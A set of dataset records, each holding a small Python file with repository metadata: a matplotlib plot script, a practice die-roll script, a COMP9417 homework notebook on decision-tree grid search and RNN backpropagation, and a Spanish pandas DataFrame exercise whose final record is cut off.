{"text": "#!/usr/bin/env python\r\n\r\n\"\"\"  to plot result\r\n#  ----\r\n#  License: BSD\r\n#  ----\r\n#  0.1: init version - 2016.6 - by Nick Qian\r\n\"\"\"\r\n\r\nimport string\r\nimport matplotlib.pyplot as plt\r\n#import numpy as np\r\n\r\n\r\n\r\ndef plot(day, money):  # list, list\r\n\r\n    plt.plot(day, money)\r\n    plt.xlabel(\"Day\")\r\n    plt.ylabel(\"Money\")\r\n\r\n    plt.title('your money')\r\n    #plt.legend()\r\n\r\n    plt.show()\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    x = [x for x in range(1, 50)]\r\n    y = range(1, 50)\r\n\r\n    plot(x, y)\r\n", "meta": {"hexsha": "6bb7b968b29dd6da3e184fa90a39a4b9eb749cd8", "size": 505, "ext": "py", "lang": "Python", "max_stars_repo_path": "plot.py", "max_stars_repo_name": "NickQian/pyWager", "max_stars_repo_head_hexsha": "34d271d84b6a11e416545673ef5f54de204bcef1", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2017-07-17T09:10:37.000Z", "max_stars_repo_stars_event_max_datetime": "2017-08-17T08:24:53.000Z", "max_issues_repo_path": "plot.py", "max_issues_repo_name": "NickQian/pyWager", "max_issues_repo_head_hexsha": "34d271d84b6a11e416545673ef5f54de204bcef1", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "plot.py", "max_forks_repo_name": "NickQian/pyWager", "max_forks_repo_head_hexsha": "34d271d84b6a11e416545673ef5f54de204bcef1", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 13.6486486486, "max_line_length": 45, "alphanum_fraction": 0.5247524752, "include": true, "reason": "import numpy", "num_tokens": 151, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.13296424363358259, "lm_q1q2_score": 0.056685528097741425}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nfor i in range(10):\n    print(i)\n\n# Now let's generate a random number between 1 to 6\nimport numpy as np\nx = np.random.randint(1, 7)\nprint(x)", "meta": {"hexsha": "ef29622c381a8909c9ff1add04f9bb5c3c35f7ff", "size": 221, "ext": "py", "lang": "Python", "max_stars_repo_path": "spyder prac.py", "max_stars_repo_name": "JeffreyUchicago/Preclass_practice", "max_stars_repo_head_hexsha": "67240f121dfe9e0e0b9ed1fcaddde12a36e3f422", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "spyder prac.py", "max_issues_repo_name": "JeffreyUchicago/Preclass_practice", "max_issues_repo_head_hexsha": "67240f121dfe9e0e0b9ed1fcaddde12a36e3f422", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "spyder prac.py", "max_forks_repo_name": "JeffreyUchicago/Preclass_practice", "max_forks_repo_head_hexsha": "67240f121dfe9e0e0b9ed1fcaddde12a36e3f422", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.0, "max_line_length": 51, "alphanum_fraction": 0.6561085973, "include": true, "reason": "import numpy", "num_tokens": 66, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.13660837948097748, "lm_q1q2_score": 0.05667865897282456}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # COMP9417 230T2  Homework 2: Applying and Implementing Machine Learning\n\n# _Mon 27 Jul 2020 18:21:08 AEST_\n\n# The aim of this homework is to enable you to:\n# \n# - **apply** parameter search for machine learning algorithms implemented in the Python [scikit-learn](http://scikit-learn.org/stable/index.html) machine learning library\n# - answer questions based on your **analysis** and **interpretation** of the empirical results of such applications, using your knowledge of machine learning\n# - **complete** an implementation of a different version of a learning algorithm you have previously seen\n# \n# After completing this homework you will be able to:\n# \n# - set up a simple grid search over different hyper-parameter settings based on $k$-fold cross-validation to obtain  performance measures on different datasets\n# - compare the performance measures of different algorithm settings \n# - propose properties of algorithms and their hyper-parameters, or datasets, which\n#   may lead to performance differences being observed\n# - suggest reasons for actual observed performance differences in terms of\n#   properties of algorithms, parameter settings or datasets.\n# - read and understand incomplete code for a learning algorithm to the point of being able to complete the implementation and run it successfully on a dataset.\n# \n# There are a total of *10 marks* available.\n# Each homework mark is worth *0.5 course mark*, i.e., homework marks will be scaled\n# to a **course mark out of 5** to contribute to the course total.\n# \n# Deadline: 11:59:59, Thursday August  6, 2020.\n# \n# Submission will be via the CSE *give* system (see below).\n# \n# Late penalties: one mark will be deducted from the total for each day late, up to a total of five days. If six or more days late, no marks will be given.\n# \n# Recall the guidance regarding plagiarism in the course introduction: this applies to this homework and if evidence of plagiarism is detected it may result in penalties ranging from loss of marks to suspension.\n# \n# ### Format of the questions\n# \n# There are 2 questions in this homework. Question 1 requires answering some multiple-choice questions in the file [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt). Both questions require you to copy and paste text into the file [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt). This file **MUST CONTAIN ONLY PLAIN TEXT WITH NO SPECIAL CHARACTERS**.\n# \n# This file will form your submission.\n# \n# In summary, your submission will comprise a single file which should be named as follows:\n# ```\n# answers.txt\n# ```\n# Please note: files in any format other than plain text **cannot be accepted**.\n# \n# Submit your files using ```give```. On a CSE Linux machine, type the following on the command-line:\n# ```\n# $ give cs9417 hw2 answers.txt\n# ```\n# \n# Alternatively, you can submit using the web-based interface to ```give```.\n# \n# ### Datasets\n# \n# The datasets required for the homework can be downloaded [*here*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/datasets.zip).\n# Note: you will need to ensure the dataset files are in the same directory from which you are running this notebook.\n# \n# **Please Note**: this homework uses some datasets in the Attribute-Relation File Format (.arff). To load datasets from '.arff' formatted files, you will need to have installed the ```liac-arff``` package. You can do this using ```pip``` at the command-line, as follows:\n# \n# ```\n# $ pip install liac-arff\n# ```\n\n# ## Question 1 \u2013 Overfitting avoidance [Total: 3 marks]\n# \n# Dealing with noisy data is a key issue in machine learning. Unfortunately, even algorithms that have noise-handling mechanisms built-in, like decision trees, can overfit noisy data, unless their \"overfitting avoidance\" or *regularization* hyper-parameters are set properly.\n# \n# You will be using datasets that have had various amounts of \"class noise\" added\n# by randomly changing the actual class value to a different one for a\n# specified percentage of the training data.\n# Here we will specify three arbitrarily chosen levels of noise: low\n# ($20\\%$), medium ($50\\%$) and high ($80\\%$).\n# The learning algorithm must try to \"see through\" this noise and learn\n# the best model it can, which is then evaluated on test data *without*\n# added noise to evaluate how well it has avoided fitting the noise.\n# \n# We will also let the algorithm do a limited _grid search_ using cross-validation\n# for the best *over-fitting avoidance* parameter settings on each training set.\n# \n# ### Running the classifiers\n# \n# **1(a). [1 mark]** \n# \n# Run the code section in the notebook cells below. This will generate a table of results, which you should copy and paste **WITHOUT MODIFICATION** into the file [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt)\n# as your answer for \"Question 1(a)\". \n# \n# The output of the code section is a table, which represents the percentage accuracy of classification for the decision tree algorithm. The first column contains the result of the \"Default\" classifier, which is the decision tree algorithm with default parameter settings running on each of the datasets which have had $50\\%$ noise added. From the second column on, in each column the results are obtained by running the decision tree algorithm on $0\\%$, $20\\%$, $50\\%$ and $80\\%$ noise added to each of the datasets, and in the parentheses is shown the result of a [grid search](http://en.wikipedia.org/wiki/Hyperparameter_optimization) that has been applied to determine the best value for a basic parameter of the decision tree algorithm, namely [min_samples_leaf](http://scikit-learn.org/stable/modules/generated/sklearn.tree.DecisionTreeClassifier.html) i.e., the minimum number of examples that can be used to make a prediction in the tree, on that dataset. \n# \n# ### Result interpretation\n# Answer these questions in the file called [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt). Your answers must be based on the results table you saved in \"Question 1(a)\".\n# \n# **1(b). [1 mark]** Refer to [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt).\n# \n# **1(c). [1 mark]** Refer to [*answers.txt*](http://www.cse.unsw.edu.au/~cs9417/20T2/hw2/answers.txt).\n\n# ### Code for question 1\n# \n# It is only necessary to run the following code to answer the question, but you should also go through it to make sure you know what is going on.\n\n# In[1]:\n\n\n# Code for question 1\n\nimport arff, numpy as np\nimport pandas as pd\nfrom sklearn.base import TransformerMixin\nfrom sklearn import tree\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm, datasets\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nimport sys\nimport warnings\n\n\n# In[2]:\n\n\n# fixed random seed\nnp.random.seed(1)\n\ndef warn(*args, **kwargs):\n    pass\n\ndef label_enc(labels):\n    le = preprocessing.LabelEncoder()\n    le.fit(labels)\n    return le\n\ndef features_encoders(features,categorical_features='all'):\n    n_samples, n_features = features.shape\n    label_encoders = [preprocessing.LabelEncoder() for _ in range(n_features)]\n\n    X_int = np.zeros_like(features, dtype=np.int)\n\n    for i in range(n_features):\n        feature_i = features[:, i]\n        label_encoders[i].fit(feature_i)\n        X_int[:, i] = label_encoders[i].transform(feature_i)\n        \n    enc = preprocessing.OneHotEncoder(categorical_features=categorical_features)\n    return enc.fit(X_int),label_encoders\n\ndef feature_transform(features,label_encoders, one_hot_encoder):\n    \n    n_samples, n_features = features.shape\n    X_int = np.zeros_like(features, dtype=np.int)\n    \n    for i in range(n_features):\n        feature_i = features[:, i]\n        X_int[:, i] = label_encoders[i].transform(feature_i)\n\n    return one_hot_encoder.transform(X_int).toarray()\n\nwarnings.warn = warn\n\n\n# In[3]:\n\n\nclass DataFrameImputer(TransformerMixin):\n\n    def fit(self, X, y=None):\n\n        self.fill = pd.Series([X[c].value_counts().index[0]\n            if X[c].dtype == np.dtype('O') else X[c].mean() for c in X],\n            index=X.columns)\n\n        return self\n\n    def transform(self, X, y=None):\n        return X.fillna(self.fill)\n\n\ndef load_data(path):\n    dataset = arff.load(open(path, 'r'))\n    data = np.array(dataset['data'])\n    data = pd.DataFrame(data)\n    data = DataFrameImputer().fit_transform(data).values\n    attr = dataset['attributes']\n\n    # mask categorical features\n    masks = []\n    for i in range(len(attr)-1):\n        if attr[i][1] != 'REAL':\n            masks.append(i)\n    return data, masks\n\ndef preprocess(data,masks, noise_ratio):\n    # split data\n    train_data, test_data = train_test_split(data,test_size=0.3,random_state=0)\n\n    # test data\n    test_features = test_data[:,0:test_data.shape[1]-1]\n    test_labels = test_data[:,test_data.shape[1]-1]\n\n    # training data\n    features = train_data[:,0:train_data.shape[1]-1]\n    labels = train_data[:,train_data.shape[1]-1]\n\n    classes = list(set(labels))\n    # categorical features need to be encoded\n    if len(masks):\n        one_hot_enc, label_encs = features_encoders(data[:,0:data.shape[1]-1],masks)\n        test_features = feature_transform(test_features,label_encs,one_hot_enc)\n        features = feature_transform(features,label_encs,one_hot_enc)\n\n    le = label_enc(data[:,data.shape[1]-1])\n    labels = le.transform(train_data[:,train_data.shape[1]-1])\n    test_labels = le.transform(test_data[:,test_data.shape[1]-1])\n    \n    # add noise\n    np.random.seed(1234)\n    noise = np.random.randint(len(classes)-1, size=int(len(labels)*noise_ratio))+1\n    \n    noise = np.concatenate((noise,np.zeros(len(labels) - len(noise),dtype=np.int)))\n    labels = (labels + noise) % len(classes)\n\n    return features,labels,test_features,test_labels\n\n\n# In[4]:\n\n\n# load data\npaths = ['balance-scale','primary-tumor',\n         'glass','heart-h']\nnoise = [0,0.2,0.5,0.8]\n\nscores = []\nparams = []\n\nfor path in paths:\n    score = []\n    param = []\n    path += '.arff'\n    data, masks = load_data(path)\n    \n    # training on data with 50% noise and default parameters\n    features, labels, test_features, test_labels = preprocess(data, masks, 0.5)\n    tree = DecisionTreeClassifier(random_state=0,min_samples_leaf=2, min_impurity_decrease=0)\n    tree.fit(features, labels)\n    tree_preds = tree.predict(test_features)\n    tree_performance = accuracy_score(test_labels, tree_preds)\n    score.append(tree_performance)\n    param.append(tree.get_params()['min_samples_leaf'])\n    \n    # training on data with noise levels of 0%, 20%, 50% and 80%\n    for noise_ratio in noise:\n        features, labels, test_features, test_labels = preprocess(data, masks, noise_ratio)\n        param_grid = {'min_samples_leaf': np.arange(2,30,5)}\n\n        grid_tree = GridSearchCV(DecisionTreeClassifier(random_state=0), param_grid,cv=10,return_train_score=True)\n        grid_tree.fit(features, labels)\n\n        estimator = grid_tree.best_estimator_\n        tree_preds = grid_tree.predict(test_features)\n        tree_performance = accuracy_score(test_labels, tree_preds)\n        score.append(tree_performance)\n        param.append(estimator.get_params()['min_samples_leaf'])\n\n    scores.append(score)\n    params.append(param)\n\n# print the results\nheader = \"{:^112}\".format(\"Decision Tree Results\") + '\\n' + '-' * 112  + '\\n' + \"{:^15} | {:^16} | {:^16} | {:^16} | {:^16} | {:^16} |\".format(\"Dataset\", \"Default\", \"0%\", \"20%\", \"50%\", \"80%\") +  '\\n' + '-' * 112  + '\\n'\n\n# print result table\nprint(header)\nfor i in range(len(scores)):\n    #scores = score_list[i][1]\n    print(\"{:<16}\".format(paths[i]),end=\"\")\n    for j in range(len(params[i])):\n        print(\"|  {:>6.2%} ({:>2})     \" .format(scores[i][j],params[i][j]),end=\"\")\n    print('|\\n')\nprint('\\n')\n\n\n# ## Question 2 \u2013 Implementation of a simple RNN [Total: 7 marks]\n\n# In this question, you will implement a simple recurrent neural network (RNN).\n# \n# Recurrent neural networks are commonly used when the input data has temporal dependencies among consecutive observations, for example time series and text data. With such data, having knowledge of the previous data points in addition to the current helps in prediction.\n\n# ## Recurrent neural networks\n# \n# RNNs are suitable in such scenarios because they keep a state derived from all previously seen data, which in combination with the current input is used to predict the output.\n# \n# In general, recurrent neural networks work like the following:\n# \n# ![Screen%20Shot%202019-07-23%20at%2010.51.21%20am.png](attachment:Screen%20Shot%202019-07-23%20at%2010.51.21%20am.png)\n# _(Image credit: Goodfellow, Bengio & Courville (2015) - Deep Learning)_\n# \n# Here, $x$ is the input, and $h$ is the hidden state maintained by the RNN. For each input in the sequence, the RNN takes both the previous state $h_{t-1}$ and the current input $x_t$ to do the prediction.\n# \n# Notice there is only one set of weights in the RNN, but this set of weights is used for the whole sequence of input. In effect, the RNN is chained with itself a number of times equalling the length of the input.\n# \n# Thus for the purpose of training the RNN, a common practice is to unfold the computational graph, and run the standard back-propagation thereon. This technique is also known as back-propagation through time.\n\n# ## Your task\n# \n# Given a dataset of partial words (words without the last character), your task is to implement an RNN to predict the last character in the word. Specifically, your RNN will have the first 9 characters of a word as its input, and you need to predict the 10th character. If there are fewer than 10 characters in a word, spaces are used to pad it.\n# \n# Most of the code needed is provided below, what you need to do is to implement the back-propagation through time section in ```NeuralNetwork.fit()```.\n# \n# There are four sections marked ```TO DO: ``` where you need to add your own code to complete a working implementation.\n# \n# **HINT:** review the implementation of the ```backpropagate``` method of the ```NeuralNetwork``` class in the code in the notebook for Lab6 on \"Neural Learning\". That should give you a starting point for your implementation.\n# \n# Ensure that you have the following files you need for training and testing in the directory in which you run this notebook:\n# ```\n# training_input.txt\n# training_label.txt\n# testing_input.txt\n# testing_label.txt\n# ```\n# \n# **HINT:** if your implementation is correct your output should look something like the following:\n# \n# ![Screen%20Shot%202019-07-28%20at%205.24.11%20pm.png](attachment:Screen%20Shot%202019-07-28%20at%205.24.11%20pm.png)\n\n# ## Submission\n# \n# Add your code at the correct position in the submission text file ```answers.txt```, containing only the four sections (together with the comments).\n# \n# Sample code for submission:\n# \n# ```\n# # TO DO: setup for the current step\n# layer_input = []\n# weight = []\n# \n# # TO DO: calculate gradients\n# gradients, dW, db = [], [], []\n# \n# # TO DO: update weights\n# self.weights[0] += 0\n# self.biases[0] += 0\n# \n# # TO DO: setup for the next step\n# previous_gradients = []\n# layer_output = []\n# ```\n# \n# **Note:** this is simply placeholder code, it won't compute what you need !\n\n# ## Marking\n# \n# If your implementation runs and obtains a testing accuracy of more than 0.5 then your submission will be given full marks.\n# \n# Otherwise, each submitted correct section of your code will receive some part of the total marks, as follows:\n# \n# ```\n# # TO DO: setup for the current step [2 marks]\n# layer_input = []\n# weight = []\n# \n# # TO DO: calculate gradients [1 mark]\n# gradients, dW, db = [], [], []\n# \n# # TO DO: update weights [2 marks]\n# self.weights[0] += 0\n# self.biases[0] += 0\n# \n# # TO DO: setup for the next step [2 marks]\n# previous_gradients = []\n# layer_output = []\n# ```\n# \n# **NOTE:** it is OK to split your code for each section over multiple lines. Also, be sure to check how exactly how ```numpy``` is imported in the code below !\n\n# In[5]:\n\n\nimport time\nimport numpy\n\n\n# In[6]:\n\n\n# helper functions to read data\ndef read_data(file_name, encoding_function, expected_length):\n    with open(file_name, 'r') as f:\n        return numpy.array([encoding_function(row) for row in f.read().split('\\n') if len(row) == expected_length])\n\ndef encode_string(s):\n    return [one_hot_encode_character(c) for c in s]\n\ndef one_hot_encode_character(c):\n    base = [0] * 26\n    index = ord(c) - ord('a')\n    if index >= 0 and index <= 25:\n        base[index] = 1\n    return base\n\ndef reverse_one_hot_encode(v):\n    return chr(numpy.argmax(v) + ord('a')) if max(v) > 0 else ' '\n\n\n# In[7]:\n\n\n# functions used in the neural network\ndef sigmoid(x):\n    return 1 / (1 + numpy.exp(-x))\n\ndef sigmoid_derivative(x):\n    return (1 - x) * x\n\ndef argmax(x):\n    return numpy.argmax(x, axis=1)\n\n\n# In[22]:\n\n\nclass NeuralNetwork:\n    def __init__(self, learning_rate=2, epochs=5000, input_size=9, hidden_layer_size=64):\n        # activation function and its derivative to be used in backpropagation\n        self.activation_function = sigmoid\n        self.derivative_of_activation_function = sigmoid_derivative\n        self.map_output_to_prediction = argmax\n\n        # parameters\n        self.learning_rate = learning_rate\n        self.epochs = epochs\n        self.input_size = input_size\n        self.hidden_layer_size = hidden_layer_size\n\n        # initialisation\n        numpy.random.seed(77)\n\n    def fit(self, X, y):\n        # reset timer\n        timer_base = time.time()\n        \n        # initialise the weights of the NN\n        input_dim = X.shape[2] + self.hidden_layer_size\n        output_dim = y.shape[1]\n\n        self.weights, self.biases = [], []\n\n        previous_layer_size = input_dim\n        for current_layer_size in [self.hidden_layer_size, output_dim]:\n            # random initial weights and zero biases\n            weights_of_current_layer = numpy.random.randn(previous_layer_size, current_layer_size)\n            bias_of_current_layer = numpy.zeros((1, current_layer_size))\n\n            self.weights.append(weights_of_current_layer)\n            self.biases.append(bias_of_current_layer)\n            previous_layer_size = current_layer_size\n\n        # train the NN\n        self.accuracy_log = []\n\n        for epoch in range(self.epochs + 1):\n            outputs = self.forward_propagate(X)\n            prediction = outputs.pop()\n\n            if epoch % 100 == 0:\n                accuracy = self.evaluate(prediction, y)\n                print(f\"In iteration {epoch}, training accuracy is {accuracy}.\")\n                self.accuracy_log.append(accuracy)\n\n            # first step of back-propagation\n            dEdz = y - prediction\n            layer_input = outputs.pop()\n            layer_output = prediction\n\n            # calculate gradients\n            dEds, dW, db = self.derivatives_of_last_layer(dEdz, layer_output, layer_input)\n            \n            # update weights\n            self.weights[1] += self.learning_rate / X.shape[0] * dW\n            self.biases[1] += self.learning_rate / X.shape[0] * db\n\n            # setup for the next step\n            previous_gradients = dEds\n            layer_output = layer_input\n\n            # back-propagation through time (unrolled)\n            for step in range(self.input_size - 1, -1, -1):\n                # TO DO: setup for the current step\n                last_input = outputs.pop()\n                layer_input = numpy.concatenate((last_input,X[:,step,:]),axis=1)\n                \n                if (step == self.input_size - 1):\n                    weight = self.weights[1][:64,:]\n                else:\n                    weight = self.weights[0][:64,:]\n\n                # TO DO: calculate gradients\n                gradients, dW, db = self.derivatives_of_hidden_layer(previous_gradients,layer_output,layer_input,weight)\n\n                # TO DO: update weights\n                self.weights[0] += self.learning_rate / X.shape[0] * dW\n                self.biases[0] += self.learning_rate / X.shape[0] * db\n\n                # TO DO: setup for the next step\n                previous_gradients = gradients\n                layer_output = last_input\n\n        print(f\"Finished training in {time.time() - timer_base} seconds\")\n\n    def test(self, X, y, verbose=True):\n        predictions = self.forward_propagate(X)[-1]\n\n        if verbose:\n            for index in range(len(predictions)):\n                prefix = ''.join(reverse_one_hot_encode(v) for v in X[index])\n                print(f\"Expected {prefix + reverse_one_hot_encode(y[index])}, predicted {prefix + reverse_one_hot_encode(predictions[index])}\")\n\n        print(f\"Testing accuracy: {self.evaluate(predictions, y)}\")\n\n    def evaluate(self, predictions, target_values):\n        successful_predictions = numpy.where(self.map_output_to_prediction(predictions) == self.map_output_to_prediction(target_values))\n        return successful_predictions[0].shape[0] / len(predictions) if successful_predictions else 0\n\n\n    def forward_propagate(self, X):\n        # initial states\n        current_state = numpy.zeros((X.shape[0], self.hidden_layer_size))\n        outputs = [current_state]\n        \n        # forward propagation through time (unrolled)\n        for step in range(self.input_size):\n            x = numpy.concatenate((current_state, X[:, step, :]), axis=1)\n            current_state = self.apply_neuron(self.weights[0], self.biases[0], x)\n            outputs.append(current_state)\n\n        # the last layer\n        output = self.apply_neuron(self.weights[1], self.biases[1], current_state)\n        outputs.append(output)\n        return outputs\n\n    def apply_neuron(self, w, b, x):\n        return self.activation_function(numpy.dot(x, w) + b)\n\n    def derivatives_of_last_layer(self, dEdz, layer_output, layer_input):\n        dEds = self.derivative_of_activation_function(layer_output) * dEdz\n        dW = numpy.dot(layer_input.T, dEds)\n        db = numpy.sum(dEds, axis=0, keepdims=True)\n        return dEds, dW, db\n\n    def derivatives_of_hidden_layer(self, layer_difference, layer_output, layer_input, weight):\n        gradients = self.derivative_of_activation_function(layer_output) * numpy.dot(layer_difference, weight.T)\n        dW = numpy.dot(layer_input.T, gradients)\n        db = numpy.sum(gradients, axis=0, keepdims=True)\n        return gradients, dW, db\n\n\n# In[23]:\n\n\ntraining_input = read_data(\"training_input.txt\", encode_string, 9)\ntraining_label = read_data(\"training_label.txt\", one_hot_encode_character, 1)\n\nmodel = NeuralNetwork()\nmodel.fit(training_input, training_label)\n\n\n# In[24]:\n\n\ntesting_input = read_data(\"testing_input.txt\", encode_string, 9)\ntesting_label = read_data(\"testing_label.txt\", one_hot_encode_character, 1)\n\nmodel.test(testing_input, testing_label, verbose=True)\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "09f57829e4b6214dda3b3362b983cc15010f9fcc", "size": 22979, "ext": "py", "lang": "Python", "max_stars_repo_path": "COMP9417_HW2/comp9417_hw2_spec.py", "max_stars_repo_name": "usama-sadiq/COMP9417_20T2", "max_stars_repo_head_hexsha": "c178d76a0adbb0c206491a88d7dac97bb16ff2b1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "COMP9417_HW2/comp9417_hw2_spec.py", "max_issues_repo_name": "usama-sadiq/COMP9417_20T2", "max_issues_repo_head_hexsha": "c178d76a0adbb0c206491a88d7dac97bb16ff2b1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "COMP9417_HW2/comp9417_hw2_spec.py", "max_forks_repo_name": "usama-sadiq/COMP9417_20T2", "max_forks_repo_head_hexsha": "c178d76a0adbb0c206491a88d7dac97bb16ff2b1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.4828178694, "max_line_length": 964, "alphanum_fraction": 0.6897602158, "include": true, "reason": "import numpy", "num_tokens": 5579, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36296921930155557, "lm_q2_score": 0.1561049033345227, "lm_q1q2_score": 0.05666127489247651}}
{"text": "### PANDAS CON DATA.FRAME ###\r\n###Crear Data.frame desde cero\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\npd_DF = pd.DataFrame(np.random.rand(3,2),\r\n                     columns=['columna_1', 'clumna_2'],\r\n                     index=['a','b','c'])\r\nprint(pd_DF)\r\n\r\n### Ejercicio 1 con data.frames\r\n\r\nproduccion = pd.Series([5, 11, 4, 7, 2],\r\n                        index=['gen1', 'gen2', 'gen3', 'gen4', 'gen5'],\r\n                        name='produccion')\r\ncostos = pd.Series([ 5, 4.3, 7, 3.5],\r\n                  index=['gen1', 'gen2', 'gen3', 'gen5'],\r\n                  name='costos')\r\ncosto_beneficio = pd.DataFrame({'costos': costos,\r\n                       'produccion': produccion})\r\nprint(costo_beneficio)\r\n\r\n### Que se puede ver en cuando hay orden de data.frame\r\nprint(costo_beneficio.index)\r\nprint(costo_beneficio.values)\r\nprint(costo_beneficio.keys)\r\nprint(costo_beneficio.columns)\r\n\r\n### Acceso con loc\r\n### loc es para acceder por el nombre del gen (labels),\r\n# iloc es para indies numericos\r\nprint(costo_beneficio.nombre_columna)\r\n# costo_beneficio.loc[idx, columna] ### nombre del indice y columna\r\nprint(costo_beneficio.costos)\r\nprint(costo_beneficio.loc['gen1','costos'])\r\n### Otras formas de accesar\r\n#['gen1'::2,'costos']\r\n#['gen3':,'costos']\r\n#['gen2':'gen4','costos']\r\n### Acceso especifico\r\ngenes_interes = ['gen1', 'gen5']\r\nprint(costo_beneficio.loc[genes_interes,'costos'])\r\n\r\n### Solo una columna\r\nprint(costo_beneficio.costos) # manera mas rapida\r\nprint(costo_beneficio.loc[:,'costos']) #Si no necesitas un subset\r\n\r\n### iloc\r\ncosto_beneficio.head(1)\r\n#costo_beneficio.iloc[idx, columna]\r\nprint(costo_beneficio.head(1))\r\nprint(costo_beneficio.iloc[0:2, 1])\r\nprint(costo_beneficio.iloc[::-2, 1])\r\nprint(costo_beneficio.iloc[3:,:])\r\n#valores especificos\r\nidxs = [0,4]\r\nprint(costo_beneficio.iloc[idxs, 1])\r\n\r\n### iloc y loc\r\nprint(costo_beneficio.iloc[[0,2,4],\r\n                           costo_beneficio.columns.get_loc('costos')])\r\nprint(costo_beneficio.loc[costo_beneficio.index[[0, 2, 4]], 'costos'])\r\n\r\n### Operaciones\r\nprint(costo_beneficio.costos + costo_beneficio.produccion)\r\n#Agregar ademas una columna\r\ncosto_beneficio['doble'] = costo_beneficio.costos*2\r\nprint(costo_beneficio)\r\n\r\n### Ejercicio 1\r\n# costos unitarios\r\ncosto_beneficio['unitario'] = costo_beneficio.costos/costo_beneficio.produccion\r\n# indices valores maximos\r\n# costo_beneficio.unitario.max() # una sola columna\r\ncosto_beneficio.unitario.idxmax()\r\ncosto_beneficio.idxmax()\r\n# especificando eje\r\ncosto_beneficio.idxmax(axis=1)\r\n\r\n### Ejercicio 2\r\nproduccion_30 = pd.Series([5, 11, 4, 7, 2],\r\n                        index=['gen1', 'gen2', 'gen3', 'gen4', 'gen5'],\r\n                        name='produccion')\r\nproduccion_35 = pd.Series([3, 7, 9, 4, 6],\r\n                        index=['gen1', 'gen2', 'gen3', 'gen4', 'gen5'],\r\n                        name='produccion')\r\ncostos2 = pd.Series([ 3.5, 5, 7, 4.3],\r\n                  index=['gen1', 'gen2', 'gen3', 'gen5'],\r\n                  name='costos')\r\ncosto_beneficio2 = pd.DataFrame({'costos': costos2,\r\n                       'produccion 30\u00b0': produccion_30,\r\n                        'produccion 35\u00b0': produccion_35})\r\nprint(costo_beneficio2)\r\n# costo unitario\r\n# print([produccion_30, produccion_35] / costos2)\r\ncolumnas_interes = costo_beneficio2.loc[:,'produccion_30\u00b0','produccion_35\u00b0']\r\nproducciones = costo_beneficio2.loc[:, columnas_interes]\r\n# division\r\ncostos_unitarios = producciones.div(costo_beneficio2.costos, axis=0)\r\n# renombrar\r\ncostos_unitarios.rename(columns = {'produccion 30\u00b0':'new_col1'})\r\n# pero aqui no se quedan los cambios...\r\ncostos_unitarios.rename(columns = {'produccion 30\u00b0':'costo unitario 30\u00b0',\r\n                                   'produccion 35\u00b0':'costo unitario 35\u00b0'},\r\n                                  inplace=True)\r\n# ahora si se quedan los cambios\r\n# juntando los data.frames\r\npd.concat([costo_beneficio ,costos_unitarios],axis=1)\r\n\r\n### Acceso con booleanos\r\nprint(costo_beneficio2.isin([5]))\r\norganismos = np.random.choice(['procariotas', 'eucariotas', 'arqueas'], 5, p=[0.5, 0.3, 0.2])\r\ncosto_beneficio2['organismos'] = organismos\r\nprint(costo_beneficio2)\r\nprint(costo_beneficio.organismos.isin(['procariotas', 'arqueas']))", "meta": {"hexsha": "79e07da97c28d54873517c0355ff18263a4edcb4", "size": 4219, "ext": "py", "lang": "Python", "max_stars_repo_path": "ejer/Dia_9.py", "max_stars_repo_name": "zara-ms/python_class-2", "max_stars_repo_head_hexsha": "edd5a4b7a3b3f2759f63208bbf42d5f9e7acb45b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ejer/Dia_9.py", "max_issues_repo_name": "zara-ms/python_class-2", "max_issues_repo_head_hexsha": "edd5a4b7a3b3f2759f63208bbf42d5f9e7acb45b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, 